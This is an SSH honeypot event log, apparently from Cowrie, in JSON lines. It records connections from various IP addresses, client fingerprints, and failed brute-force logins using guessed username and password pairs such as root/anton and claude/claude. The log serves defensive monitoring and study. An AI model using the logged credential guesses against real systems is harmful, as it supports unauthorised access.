{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:25.672066Z","src_ip":"43.134.71.92","session":"cc4fb8c44f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:13:26.600488Z","src_ip":"45.119.212.99","session":"f5db079a4ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":36168,"dst_ip":"10.17.0.5","dst_port":22,"session":"4541d3427b04","protocol":"ssh","message":"New connection: 103.98.149.87:36168 (10.17.0.5:22) [session: 4541d3427b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:22.148205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:22.154099Z","src_ip":"103.98.149.87","session":"4541d3427b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:22.381711Z","src_ip":"103.98.149.87","session":"4541d3427b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":60258,"dst_ip":"10.17.0.5","dst_port":22,"session":"458825bdd20b","protocol":"ssh","message":"New connection: 103.249.84.242:60258 (10.17.0.5:22) [session: 458825bdd20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:22.389612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:22.395469Z","src_ip":"103.249.84.242","session":"458825bdd20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:22.631240Z","src_ip":"103.249.84.242","session":"458825bdd20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":36750,"dst_ip":"10.17.0.5","dst_port":22,"session":"56862101d2e5","protocol":"ssh","message":"New connection: 189.203.163.10:36750 (10.17.0.5:22) [session: 56862101d2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:23.199016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:23.207560Z","src_ip":"189.203.163.10","session":"56862101d2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:23.270086Z","src_ip":"189.203.163.10","session":"56862101d2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton","message":"login attempt [root/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:23.389285Z","src_ip":"103.98.149.87","session":"4541d3427b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level42","message":"login attempt [root/level42] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:23.549731Z","src_ip":"189.203.163.10","session":"56862101d2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:23.604254Z","src_ip":"103.249.84.242","session":"458825bdd20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36956,"dst_ip":"159.203.135.109","dst_port":22,"session":"120bdab7d109","protocol":"ssh","message":"New connection: 80.94.92.184:36956 (159.203.135.109:22) [session: 120bdab7d109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:24.584426Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:24.614667Z","src_ip":"189.203.163.10","session":"56862101d2e5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:24.667700Z","src_ip":"80.94.92.184","session":"120bdab7d109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:24.736744Z","src_ip":"103.98.149.87","session":"4541d3427b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:24.842754Z","src_ip":"103.249.84.242","session":"458825bdd20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:25.081831Z","src_ip":"80.94.92.184","session":"120bdab7d109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:25.793346Z","src_ip":"80.94.92.184","session":"120bdab7d109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:27.292132Z","src_ip":"80.94.92.184","session":"120bdab7d109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":56086,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3ed216ecc2d","protocol":"ssh","message":"New connection: 103.82.132.16:56086 (10.17.0.5:22) [session: b3ed216ecc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:34.758324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:34.763695Z","src_ip":"103.82.132.16","session":"b3ed216ecc2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:35.024766Z","src_ip":"103.82.132.16","session":"b3ed216ecc2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111111","message":"login attempt [root/11111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:35.805925Z","src_ip":"103.82.132.16","session":"b3ed216ecc2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:37.070084Z","src_ip":"103.82.132.16","session":"b3ed216ecc2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50566,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b0ae57e50a","protocol":"ssh","message":"New connection: 103.27.238.116:50566 (10.17.0.5:22) [session: 11b0ae57e50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:39.750647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:39.759912Z","src_ip":"103.27.238.116","session":"11b0ae57e50a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:40.019554Z","src_ip":"103.27.238.116","session":"11b0ae57e50a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sirius","message":"login attempt [root/sirius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:40.797607Z","src_ip":"103.27.238.116","session":"11b0ae57e50a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:42.059550Z","src_ip":"103.27.238.116","session":"11b0ae57e50a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":42108,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f560b1930df","protocol":"ssh","message":"New connection: 157.230.190.155:42108 (10.17.0.5:22) [session: 8f560b1930df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:42.118577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:42.123909Z","src_ip":"157.230.190.155","session":"8f560b1930df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:42.130246Z","src_ip":"157.230.190.155","session":"8f560b1930df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"config","message":"login attempt [root/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:42.182810Z","src_ip":"157.230.190.155","session":"8f560b1930df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:43.193544Z","src_ip":"157.230.190.155","session":"8f560b1930df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":54926,"dst_ip":"10.17.0.5","dst_port":22,"session":"610d34220f95","protocol":"ssh","message":"New connection: 43.134.71.92:54926 (10.17.0.5:22) [session: 610d34220f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:43.574129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:43.578914Z","src_ip":"43.134.71.92","session":"610d34220f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:43.824200Z","src_ip":"43.134.71.92","session":"610d34220f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optic","message":"login attempt [root/optic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:44.835609Z","src_ip":"43.134.71.92","session":"610d34220f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:46.084520Z","src_ip":"43.134.71.92","session":"610d34220f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":45466,"dst_ip":"10.17.0.5","dst_port":22,"session":"624d69eecfd1","protocol":"ssh","message":"New connection: 45.119.212.99:45466 (10.17.0.5:22) [session: 624d69eecfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:51.198130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:14:51.203400Z","src_ip":"45.119.212.99","session":"624d69eecfd1","protocol":"ssh"}
